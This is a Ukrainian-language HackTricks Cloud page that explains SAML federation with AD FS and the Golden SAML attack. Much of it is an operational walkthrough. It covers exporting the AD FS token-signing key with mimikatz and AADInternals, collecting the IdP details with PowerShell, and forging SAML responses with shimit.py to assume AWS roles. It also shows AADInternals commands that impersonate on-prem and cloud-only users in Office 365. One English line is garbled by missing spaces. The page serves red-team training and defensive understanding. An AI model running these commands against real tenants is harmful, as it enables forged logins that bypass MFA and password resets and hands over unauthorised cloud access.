Ukranian - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Az - Federation

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

З документації:Федерація - це колекція доменів, які встановили довіру. Рівень довіри може варіюватися, але зазвичай включає аутентифікацію та майже завжди включає авторизацію. Типова федерація може включати кілька організацій, які встановили довіру для спільного доступу до набору ресурсів.

Ви можете федерувати ваше середовище на місці з Azure AD та використовувати цю федерацію для аутентифікації та авторизації. Цей метод входу забезпечує, що всі аутентифікації користувачів відбуваються на місці. Цей метод дозволяє адміністраторам реалізувати більш жорсткі рівні контролю доступу. Доступна федерація з AD FS та PingFederate.

Основна ідея федерації полягає в тому, що вся аутентифікація відбувається в середовищі на місці, а користувачі отримують SSO у всіх довірених середовищах. Таким чином, користувачі можуть отримати доступ до хмарних додатків, використовуючи свої локальні облікові дані.

Для обміну всією інформацією про аутентифікацію та авторизацію використовується Мова маркування підтверджень безпеки (SAML) між постачальниками.

У будь-якій федерації є три сторони:

  • Користувач або клієнт

  • Постачальник ідентичності (IdP)

  • Постачальник послуг (SP)

(Зображення з https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Спочатку додаток (Постачальник послуг або SP, такий як консоль AWS або веб-клієнт vSphere) відвідується користувачем. Цей крок може бути пропущений, що призводить до того, що клієнт напряму потрапляє до IdP (Постачальник ідентичності) в залежності від конкретної реалізації.

  2. Наступно SP визначає відповідний IdP (наприклад, AD FS, Okta) для аутентифікації користувача. Потім він створює запит AuthnRequest SAML (Мова маркування підтверджень безпеки) та перенаправляє клієнта до обраного IdP.

  3. IdP бере на себе, аутентифікує користувача. Після аутентифікації IdP формує SAMLResponse та пересилає його до SP через користувача.

  4. Нарешті, SP оцінює SAMLResponse. Якщо перевірка пройшла успішно, що вказує на наявність довіри з IdP, користувачу надається доступ. Це позначає завершення процесу входу, що дозволяє користувачеві використовувати послугу.

Якщо ви хочете дізнатися більше про аутентифікацію SAML та загальні атаки, перейдіть за посиланням:

Перехід

  • AD FS - це модель ідентифікації на основі претензій.

  • "..претензії - це просто заяви (наприклад, ім'я, ідентичність, група), які робляться про користувачів і використовуються в основному для авторизації доступу до застосунків на основі претензій, розташованих будь-де в Інтернеті."

  • Претензії для користувача записуються всередині токенів SAML, а потім підписуються для забезпечення конфіденційності IdP.

  • Користувача ідентифікують за ImmutableID. Він є глобально унікальним і зберігається в Azure AD.

  • TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.

  • Додаткова інформація за посиланням https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Атака Golden SAML:

  • У ADFS відповідь SAML підписується сертифікатом підпису токенів.

  • Якщо сертифікат скомпрометований, можливо аутентифікуватися в Azure AD як БУДЬ-ЯКИЙ користувач, синхронізований з Azure AD!

  • Точно так само, як у нашому зловживанні PTA, зміна пароля для користувача або MFA не матиме жодного ефекту, оскільки ми фальсифікуємо відповідь аутентифікації.

  • Сертифікат може бути видобутий з сервера AD FS з привілеями DA та потім може бути використаний з будь-якого підключеного до Інтернету пристрою.

  • Додаткова інформація за посиланням https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Golden SAML

Процес, у якому Постачальник ідентичності (IdP) створює SAMLResponse для авторизації входу користувача, є ключовим. Залежно від конкретної реалізації IdP, відповідь може бути підписана або зашифрована за допомогою приватного ключа IdP. Ця процедура дозволяє Постачальнику послуг (SP) підтвердити автентичність SAMLResponse, забезпечуючи, що він дійсно був виданий довіреним IdP.

Можна провести паралель з атакою на золотий квиток, де ключ, який аутентифікує ідентичність та дозволи користувача (KRBTGT для золотих квитків, приватний ключ підпису токенів для золотих SAML), може бути змінений для створення об'єкта аутентифікації (TGT або SAMLResponse). Це дозволяє підробити будь-якого користувача, надаючи несанкціонований доступ до SP.

Золоті SAML мають певні переваги:

  • Їх можна створити віддалено, не беручи участь у домені або федерації питання.

  • Вони залишаються ефективними навіть з увімкненим двофакторним аутентифікацією (2FA).

  • Приватний ключ підпису токенів не оновлюється автоматично.

  • Зміна пароля користувача не анулює вже згенерований SAML.

AWS + AD FS + Golden SAML

Служби активного каталогу Federation (AD FS) - це служба Microsoft, яка сприяє безпечному обміну інформацією про ідентичність між довіреними бізнес-партнерами (федерація). По суті, вона дозволяє службі домену обмінюватися ідентичностями користувачів з іншими постачальниками послуг у межах федерації.

З AWS, яка довіряє компрометованому домену (у федерації), цю вразливість можна використовувати для потенційного отримання будь-яких дозволів в середовищі AWS. Для атаки необхідний приватний ключ, який використовується для підпису об'єктів SAML, схожий на необхідність KRBTGT у атаках на золотий квиток. Доступ до облікового запису користувача AD FS достатній для отримання цього приватного ключа.

Для виконання атаки золотого SAML необхідно:

  • Приватний ключ підпису токенів

  • Публічний сертифікат IdP

  • Ім'я IdP

  • Ім'я ролі (роль для припущення)

  • Domain\username

  • Ім'я сеансу ролі в AWS

  • Ідентифікатор облікового запису Amazon

Лише пункти, виділені жирним шрифтом, є обов'язковими. Інші можна заповнити за бажанням.

Для отримання приватного ключа необхідний доступ до облікового запису користувача AD FS. Після цього приватний ключ можна експортувати з особистого сховища за допомогою інструментів, таких як mimikatz. Для отримання іншої необхідної інформації можна скористатися snapin Microsoft.Adfs.Powershell наступним чином, переконавшись, що ви увійшли як користувач ADFS:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

З усією інформацією можна забути про дійсний SAMLResponse як користувач, якого ви хочете уособити, використовуючи shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

Локальна мережа -> хмара

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Також можливо створити ImmutableID користувачів лише у хмарі та видається за них.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

PreviousAz - Cloud Kerberos TrustNextAz - PHS - Password Hash Sync

Last updated